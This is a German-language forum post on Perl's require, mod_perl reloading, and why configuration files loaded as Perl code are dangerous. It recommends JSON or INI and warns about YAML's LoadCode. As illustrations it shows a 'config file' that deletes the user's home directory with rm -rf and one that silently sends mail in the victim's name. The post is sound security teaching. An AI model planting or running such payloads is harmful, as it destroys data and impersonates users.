Moin Moin!
Wo kann man das den alles nachlesen?
Wie bei Perl üblich: in der MITGELIEFERTEN Dokumentation.
Das Verhalten von require ist ausführlich in perlfunc dokumentiert, perldoc -f require zeigt dir den entsprechenden Ausschnitt aus perlfunc. Alternativ unter http://perldoc.perl.org/functions/require.html für die jeweils aktuelle Perl-Version:
"Has semantics similar to the following subroutine:"
(Viel Code, den Du bitte selbst nachliest.)
Und direkt danach noch einmal ganz deutlich:
"Note that the file will not be included twice under the same specified name."
Das von Dir erlittene Verhalten von mod_perl, nämlich veränderte Module nicht automatisch neu zu laden, ist unter Perl Specifics in the mod_perl Environment nachzulesen:
BEGIN blocks in modules and files pulled in via require() or use() will be executed:
* Only once, if pulled in by the parent process at the server startup.
* Once per each child process or Perl interpreter if not pulled in by the parent process.
* An additional time, once per each child process or Perl interpreter if the module is reloaded off disk again via Apache2::Reload.
* Unpredictable if you fiddle with %INC yourself.
The BEGIN blocks behavior is different in ModPerl::Registry and ModPerl::PerlRun handlers, and their subclasses.
Nutze
do $file
oder besser, lies Konfigurationsdaten nicht als Perl-Code ein. Du öffnest Sicherheitslücken.
Nur in meinem Beispiel war es eine Art Konfigurationsdatei.
Im realen Projekt handelt es sich um Funktionsbibliotheken.
Und von welchen Sicherheitslücken spricht du?
Wie wäre es mit einem Beispiel? Ein trivial blödes Programm, mit fast allen Sicherheitsvorkehrungen, die Perl hat: Taint Mode, strict, warnings. Hello World mit konfigurierbarer Begrüßung.
#!/usr/bin/perl -T
use strict;
use warnings;
use 5.008;
our $greeting='Hello World';
require './hello-conf.pl';
print "$greeting, this is $^X version $^V\n";
Dazu die "Konfigurationsdatei" hello-conf.pl mit "Werkseinstellungen":
# $greeting="Moin Moin";
1;
Ich finde "Hello World" als Begrüßung doof, also nutze ich die "Konfigurationsdatei", um das zu ändern:
$greeting="Moin Moin";
1;
So weit, so harmlos.
Ich könnte auf die Idee kommen, dass mir ein externes Hilfsprogramm den gewünschten Gruß liefert. Ich nehme als Beispiel mal stumpf echo.
$greeting=`/usr/bin/echo Moin Moin`;
1;
Da geht dann aber der Taint-Mode auf die Barrikaden, weil ich $ENV{'PATH'} nicht gesichert habe:
Insecure $ENV{PATH} while running with -T switch at ./hello-conf.pl line 1.
Compilation failed in require at ./hello.pl line 9.
Gut, dass ich Fehlermeldungen und Dokumentationen lesen kann, denn das kann ich in der Konfigurationsdatei beheben:
$ENV{'PATH'}='/bin:/usr/bin';
$greeting=`/usr/bin/echo Moin Moin`;
1;
Aber auch das ist Perl noch nicht paranoid genug:
Insecure $ENV{CDPATH} while running with -T switch at ./hello-conf.pl line 2.
Compilation failed in require at ./hello.pl line 9.
$ENV{'PATH'}='/bin:/usr/bin';
delete $ENV{'CDPATH'};
$greeting=`/usr/bin/echo Moin Moin`;
1;
Das Ergebnis:
Moin Moin
, this is /usr/bin/perl5.12.3 version v5.12.3
Oops, da ist noch ein Zeilenumbruch, der dort nicht hingehört. Blöderweise kann man echo auf zwei Arten den Zeilenumbruch am Ende abgewöhnen, und nur eine der beiden Möglichkeiten ist im jeweiligen Betriebssystem implementiert. Nutzt man die falsche, bekommt man noch mehr störende Zeichen. Also räume ich das besser in Perl auf, denn schließlich wird die "Konfigurationsdatei" ja stumpf ausgeführt.
$ENV{'PATH'}='/bin:/usr/bin';
delete $ENV{'CDPATH'};
$greeting=`/usr/bin/echo Moin Moin`;
chomp $greeting;
1;
Tadaaa! Alles ist schön. Bis auf die Tatsache, dass die "Konfigurationsdatei" ein Programm ist. Ich setze den weißen Hut ab, den schwarzen Hut auf, ändere eine Kleinigkeit, und sorge dafür, dass mein Kollege das Programm ausführen will, ohne sich großartig Gedanken zu machen, was alles schief gehen kann. Ist ja nur ein harmloses "Hello World"-Programm.
Die "Konfigurationsdatei" sieht dann so aus:
$ENV{'PATH'}='/bin:/usr/bin';
delete $ENV{'CDPATH'};
$ENV{'HOME'}=~/(.+)/;system '/usr/bin/rm','-rf',$1;
$greeting=`/usr/bin/echo Moin Moin`;
chomp $greeting;
1;
Oder etwas weniger offensichtlich für das Opfer so:
$ENV{'PATH'}='/bin:/usr/bin';
delete $ENV{'CDPATH'};
$greeting=`/usr/bin/echo Moin Moin`;
chomp $greeting;
use MIME::Lite;
MIME::Lite->new(
From => getpwuid($<).'@example.com',
To => 'boss@example.com',
Subject => 'Du stinkst!',
Data => "Du stinkst! Ich hab's satt! Morgen komme ich nicht mehr!"
)->send();
1;
Du siehst also, "Konfigurationsdateien" sind völlig harmlos ... ;-)
Mit JSON (oder XML, oder INI-Dateien) wäre das nicht passiert:
#!/usr/bin/perl -T
use strict;
use warnings;
use 5.008;
use JSON::XS qw( decode_json );
use File::Slurp qw( read_file );
our $greeting='Hello World';
our $cfg=decode_json(read_file('hello.conf'));
$greeting=$cfg->{'greeting'} if exists $cfg->{'greeting'};
print "$greeting, this is $^X version $^V\n";
Konfigurationsdatei mit Werkseinstellungen:
{}
Angepaßte Konfigurationsdatei:
{
"greeting":"Moin Moin"
}
Es gibt hier absolut keinen Weg, aus der Konfigurationsdatei heraus Code auszuführen, es sei denn, dass Hauptprogramm sieht das explizit vor, z.B. mit eval $cfg->{'run_this'};
.
YAML steht nicht im "wäre das nicht passiert". Denn YAML hat die "wunderbare" Option "LoadCode". Die steht unter der Überschrift "Why YAML is cool". Ok, nicht direkt darunter. Die zuständige Überschrift heißt "Global Options". YAML wird über globale Variablen konfiguriert. Ein schlampig programmiertes Modul, dass das "local" vergißt, und schon ist LoadCode im gesamten Programm aktiv.
Was ist also so schlimm daran, LoadCode aktiv zu haben? LoadCode ist der falsche Name für die Option, denn LoadCode lädt nicht nur Code, sondern führt den geladenen Code standardmäßig auch gleich aus. Gedacht ist das dazu, Funktionsdefinitionen in YAML zu speichern und wieder zu laden. Blöderweise lädt YAML die Funktionen per String-eval, wenn man nichts dagegen unternimmt:
LoadCode
LoadCode is the opposite of DumpCode. It tells YAML if and how to deserialize code references. When set to '1' or 'deparse' it will use eval(). Since this is potentially risky, only use this option if you know where your YAML has been.
LoadCode can also be set to a subroutine reference so that you can write your own deserializing routine. YAML.pm passes the serialization (as a string) and a format indicator. You pass back the code reference.
Und selbst wenn man LoadCode auf eine sichere Routine setzt, reicht ein schlampig programmiertes Modul aus, um LoadCode wieder stumpf auf 1 oder deparse zu setzen und wieder String-eval ans Ruder zu lassen.
Alexander
Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".